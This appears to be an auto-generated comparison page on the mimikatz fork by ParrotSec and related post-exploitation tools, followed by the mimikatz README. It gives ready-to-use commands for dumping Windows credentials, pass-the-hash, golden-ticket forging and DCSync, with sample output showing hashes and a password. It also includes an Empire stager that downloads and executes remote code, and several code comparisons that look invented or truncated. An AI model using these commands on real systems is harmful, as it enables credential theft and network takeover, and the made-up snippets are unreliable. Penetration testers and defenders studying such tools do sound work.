Top Related Projects
A little tool to play with Windows security
PowerSploit - A PowerShell Post-Exploitation Framework
Six Degrees of Domain Admin
A swiss army knife for pentesting networks
Empire is a PowerShell and Python post-exploitation agent.
Credentials recovery project
Quick Overview
Mimikatz is a powerful post-exploitation tool developed by Benjamin Delpy. It is designed to extract plaintext passwords, hashes, PIN codes, and kerberos tickets from Windows memory. The ParrotSec/mimikatz repository is a fork of the original project, maintained by the Parrot Security OS team.
Pros
- Highly effective at extracting various types of credentials from Windows systems
- Regularly updated to keep up with Windows security changes
- Supports a wide range of Windows versions
- Includes both command-line and GUI interfaces
Cons
- Can be detected by many antivirus and security software as malicious
- Requires administrative privileges to run effectively
- Potential for misuse in unauthorized or malicious activities
- Learning curve can be steep for users unfamiliar with Windows internals
Code Examples
As Mimikatz is primarily a standalone executable tool rather than a code library, there are no code examples in the traditional sense. Instead, here are some example commands you might use with Mimikatz:
# Dump all credentials from the system
sekurlsa::logonpasswords
# Export all certificates
crypto::certificates /export
# Perform a Pass-the-Hash attack
sekurlsa::pth /user:Administrator /ntlm:hash /domain:contoso.com
Getting Started
To use Mimikatz:
- Download the latest release from the ParrotSec/mimikatz repository.
- Run mimikatz.exe with administrator privileges.
- In the Mimikatz console, use commands like
privilege::debug
to elevate privileges. - Execute desired commands (e.g.,
sekurlsa::logonpasswords
to dump credentials).
Note: Use Mimikatz responsibly and only on systems you own or have explicit permission to test.
Competitor Comparisons
A little tool to play with Windows security
Pros of Mimikatz (gentilkiwi)
- Original repository maintained by the creator, Benjamin Delpy
- More frequent updates and active development
- Larger community and broader support base
Cons of Mimikatz (gentilkiwi)
- May contain experimental features that are less stable
- Potentially higher risk of detection by antivirus software due to popularity
Code Comparison
Mimikatz (gentilkiwi):
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
kuhl_m_sekurlsa_utils_my_LdrEnumModulesCallback(hModule);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Mimikatz (ParrotSec):
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
kuhl_m_sekurlsa_utils_my_LdrEnumModulesCallback(hModule);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
The code comparison shows identical DllMain functions in both repositories, indicating that the core functionality remains the same. The main differences between the two repositories lie in their maintenance, update frequency, and potential modifications made by ParrotSec for integration into their security distribution.
PowerSploit - A PowerShell Post-Exploitation Framework
Pros of PowerSploit
- Written in PowerShell, making it more native to Windows environments
- Broader range of post-exploitation tools and modules
- Easier to integrate with other PowerShell-based tools and scripts
Cons of PowerSploit
- Less frequently updated compared to Mimikatz
- May be more easily detected by modern antivirus solutions
- Requires PowerShell execution, which might be restricted in some environments
Code Comparison
Mimikatz (C):
BOOL WINAPI kuhl_m_sekurlsa_utils_search(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, CONST VOID * pattern, SIZE_T szPattern, PVOID * ptr)
{
BOOL found = FALSE;
KULL_M_MEMORY_SEARCH sMemory = {{{pLib->address, pLib->address + pLib->size, PAGE_READWRITE}, NULL}, NULL};
if(kull_m_memory_search(&sMemory, pattern, szPattern, cLsass->hLsassMem))
{
*ptr = sMemory.result;
found = TRUE;
}
return found;
}
PowerSploit (PowerShell):
function Get-ProcessTokenGroup
{
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
[Alias('ProcessID')]
[UInt32]
$ProcessId
)
$TokenGroupsPtr = [IntPtr]::Zero
$ReturnLength = 0
Both repositories focus on post-exploitation techniques, but Mimikatz is more specialized in credential extraction, while PowerSploit offers a wider range of tools. Mimikatz is written in C, providing lower-level access and potentially better performance, while PowerSploit leverages PowerShell for easier integration in Windows environments.
Six Degrees of Domain Admin
Pros of BloodHound
- Provides a comprehensive visual representation of Active Directory environments
- Offers powerful path-finding capabilities for identifying attack vectors
- Integrates well with other security tools and frameworks
Cons of BloodHound
- Requires more setup and configuration compared to Mimikatz
- May generate significant network traffic during data collection
- Limited to Active Directory environments, while Mimikatz has broader application
Code Comparison
BloodHound (PowerShell data collection):
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain CONTOSO.LOCAL -ZipFileName "bloodhound_data.zip"
Mimikatz (extracting credentials):
privilege::debug
sekurlsa::logonpasswords
BloodHound focuses on mapping and analyzing Active Directory relationships, while Mimikatz is primarily used for extracting credentials and performing various Windows security-related operations. BloodHound's code typically involves data collection and analysis, whereas Mimikatz directly interacts with Windows security mechanisms.
Both tools are valuable for security professionals and penetration testers, but they serve different purposes in the security assessment process. BloodHound excels at visualizing attack paths in AD environments, while Mimikatz is more versatile for credential extraction and manipulation across different Windows systems.
A swiss army knife for pentesting networks
Pros of CrackMapExec
- More versatile tool for network reconnaissance and lateral movement
- Supports multiple protocols (SMB, WMI, MSSQL, etc.) for broader attack surface
- Active development with frequent updates and community contributions
Cons of CrackMapExec
- Requires more setup and dependencies compared to Mimikatz
- Less focused on credential extraction, which is Mimikatz's primary strength
- May be more complex to use for beginners due to its wider range of features
Code Comparison
Mimikatz (PowerShell):
Invoke-Mimikatz -DumpCreds
CrackMapExec (Python):
crackmapexec smb 192.168.1.0/24 -u username -p password --sam
While Mimikatz focuses on extracting credentials directly from memory, CrackMapExec provides a broader range of network enumeration and exploitation capabilities. Mimikatz is typically more straightforward for credential extraction, while CrackMapExec offers more flexibility for network-wide operations and lateral movement.
Both tools are valuable in penetration testing and security assessments, with Mimikatz excelling in credential extraction and CrackMapExec providing a more comprehensive toolkit for network exploitation. The choice between them depends on the specific requirements of the security assessment or penetration test being conducted.
Empire is a PowerShell and Python post-exploitation agent.
Pros of Empire
- More comprehensive post-exploitation framework with multiple modules
- Cross-platform support (Windows, macOS, Linux)
- Active development and community support
Cons of Empire
- Larger footprint and potentially easier to detect
- Steeper learning curve due to more complex functionality
- Requires more setup and configuration
Code Comparison
Empire (PowerShell stager):
$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX $wc.DownloadString('http://empire.server/launcher');
Mimikatz (basic command execution):
int wmain(int argc, wchar_t * argv[])
{
mimikatz_begin();
mimikatz_process(argc, argv);
mimikatz_end();
return STATUS_SUCCESS;
}
While both tools are used for post-exploitation, Empire focuses on providing a full-featured framework for various tasks, whereas Mimikatz specializes in credential extraction and manipulation. Empire offers more flexibility and modules but requires more setup, while Mimikatz is more focused and easier to use for specific credential-related tasks.
Credentials recovery project
Pros of LaZagne
- Cross-platform support (Windows, Linux, macOS)
- Modular architecture allows easy addition of new modules
- Retrieves a wider variety of credentials (browsers, email clients, Wi-Fi, etc.)
Cons of LaZagne
- Less focused on Windows authentication mechanisms
- May require more setup and dependencies
- Not as deeply integrated with Windows internals
Code Comparison
LaZagne (Python):
def run_lazagne(category_selected="all", subcategories={}, password=None):
for category in category_selected:
for module in get_categories()[category]:
try:
mod = import_module(module)
pwd_found = mod.run(password)
# Process and store results
except Exception:
pass
Mimikatz (C):
NTSTATUS kuhl_m_sekurlsa_msv(int argc, wchar_t * argv[])
{
return kuhl_m_sekurlsa_acquireLSA(kuhl_m_sekurlsa_enum_logon_callback_msv, NULL);
}
LaZagne is more modular and extensible, while Mimikatz is more focused on Windows-specific authentication mechanisms and has deeper system integration.
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual CopilotREADME
mimikatz
mimikatz
is a tool I've made to learn C
and make somes experiments with Windows security.
It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz
can also perform pass-the-hash, pass-the-ticket or build Golden tickets.
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 13 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session : Interactive from 2
User Name : Gentil Kiwi
Domain : vm-w7-ult-x
SID : S-1-5-21-1982681256-1210654043-1600862990-1000
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* LM : d0e9aee149655a6075e4540af1f22d3b
* NTLM : cc36cf7a8514893efccd332446158b1a
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
tspkg :
* Username : Gentil Kiwi
* Domain : vm-w7-ult-x
* Password : waza1234/
...
But that's not all! Crypto
, Terminal Server
, Events
, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, yes).
If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases
Quick usage
log
privilege::debug
sekurlsa
sekurlsa::logonpasswords
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
kerberos
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
crypto
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export
crypto::keys /machine /export
vault & lsadump
vault::cred
vault::list
token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local
Build
mimikatz
is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:
- for
mimikatz
andmimilib
: Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=44914) - for
mimikatz driver
,mimilove
(andddk2003
platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800
mimikatz
uses SVN
for source control, but is now available with GIT
too!
You can use any tools you want to sync, even incorporated GIT
in Visual Studio 2013 =)
Synchronize!
- GIT URL is : https://github.com/gentilkiwi/mimikatz.git
- SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk
- ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip
Build the solution
- After opening the solution,
Build
/Build Solution
(you can change architecture) mimikatz
is now built and ready to be used! (Win32
/x64
evenARM64
if you're lucky)- you can have error
MSB3073
about_build_.cmd
andmimidrv
, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), butmimikatz
andmimilib
are OK.
- you can have error
ddk2003
With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt
runtime (smaller binaries, no dependencies)
For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.
Follow instructions:
- http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
- http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader
Licence
CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/
mimikatz
needs coffee to be developed:
- PayPal: https://www.paypal.me/delpy/
Author
- Benjamin DELPY
gentilkiwi
, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com ) - DCSync and DCShadow functions in
lsadump
module were co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )
This is a personal development, please respect its philosophy and don't use it for bad things!
Top Related Projects
A little tool to play with Windows security
PowerSploit - A PowerShell Post-Exploitation Framework
Six Degrees of Domain Admin
A swiss army knife for pentesting networks
Empire is a PowerShell and Python post-exploitation agent.
Credentials recovery project
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual Copilot